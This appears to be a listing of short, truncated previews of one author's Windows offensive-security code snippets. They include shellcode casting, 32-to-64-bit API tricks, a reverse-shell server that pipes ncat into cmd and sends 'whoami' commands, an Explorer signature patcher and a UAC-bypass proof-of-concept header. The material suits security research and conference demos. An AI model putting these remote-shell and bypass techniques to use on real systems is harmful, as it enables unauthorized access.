aaaddress1

// get 64 bit Windows API in pure 32 bit mode!
// it's necessary to disable all the compiler optimization if you're using MSVC.
// more detail check out ReWolf's amazing trick: blog.rewolf.pl/blog/?p=102
// by aaaddress1@chroot.org
#include <iostream>
#include <stdio.h>
#include <windows.h>

// ref: raw.githubusercontent.com/rwfpl/rewolf-wow64ext/master/src/wow64ext.h
#include "wow64ext.h"

aaaddress1

// fetch current EXE path from 64 bit PEB->Ldr (In 32 bit mode)
// by aaaddress1@chroot.org
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
typedef struct _PEB_LDR_DATA64
{
    ULONG Length;
    BOOLEAN Initialized;
    ULONG64 SsHandle;

aaaddress1

// memcpy 32bit by aaaddress1@chroot.org
#include <stdint.h>
#include <stdio.h>
#include <windows.h>

int main(void) {
    int dummy(0x41414242);
    char buf[8] = {0};
    ((void(cdecl *)(DWORD, DWORD, DWORD))"\x8B\x7C\x24\x04\x8B\x74\x24\x08\x8B\x4C\x24\x0C\xF3\xA4\xC3")((size_t)buf, (size_t)&dummy, sizeof(dummy));
    puts(buf);

aaaddress1

// using WinHTTP to obtain binary data (MSVC)
// by aaaddress1@chroot.org
#include <vector>
#include <stdio.h>
#include <windows.h>
#include <Winhttp.h>
#pragma comment(lib, "winhttp")
using namespace std;

vector<char>* httpRecv(const wchar_t url[]) {

aaaddress1

class Helpers {

 constructor() {
  this.cvt_buf = new ArrayBuffer(8);
  this.cvt_f64a = new Float64Array(this.cvt_buf);
  this.cvt_u64a = new BigUint64Array(this.cvt_buf);
  this.cvt_u32a = new Uint32Array(this.cvt_buf);
 }

 ftoi(f) {

aaaddress1

'''
Cmd Multiple RevShell Server by aaaddress1@chroot.org
[test] $ ncat localhost 54321 | cmd
'''
import time, socket
def handleClient(connection):
    try:
        time.sleep(1)
        connection.send(b'whoami && echo 123 > ggdada.txt && exit\n')
    except Exception as e:

aaaddress1

// dynamic patch self function by aaaddress1@chroot.org
#include <windows.h>
#include <algorithm>
#include <iterator>
using namespace std;
void hello()
{
    puts("Are You Helloing?");
}
int main(void)

aaaddress1

// VEH Montior by aaaddress1@chroot.org
#include <stdio.h>
#include <windows.h>
#pragma warning( disable : 4996 )

LONG __stdcall TrapFilter(PEXCEPTION_POINTERS pexinf) {
	if (pexinf->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && ((DWORD)pexinf->ExceptionRecord->ExceptionAddress & 0x80000000))
		pexinf->ContextRecord->Eip = pexinf->ContextRecord->Eip ^ 0x80000000;
	else if (pexinf->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
		return EXCEPTION_CONTINUE_SEARCH;

aaaddress1

// iThome 2020 Demo: Signature Patcher for Explorer
// author: aaaddress1@chroot.org
#include <iostream>
#include <Windows.h>

int main() {
	DWORD explorer_pid;
	GetWindowThreadProcessId(FindWindowA("Shell_TrayWnd", NULL), &explorer_pid);
	
	if (HANDLE token = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorer_pid)) {

aaaddress1

//
// SITCON 2020 PoC for Windows 7 x86
// Author: aaaddress1@chroot.org
// cite: github.com/liuxigu/bypassuac/blob/master/bypassuac/bypassuac.cpp
//
#include <Shobjidl.h>
#include "windows.h"
#include "winternl.h"
#include <iostream>
using namespace std;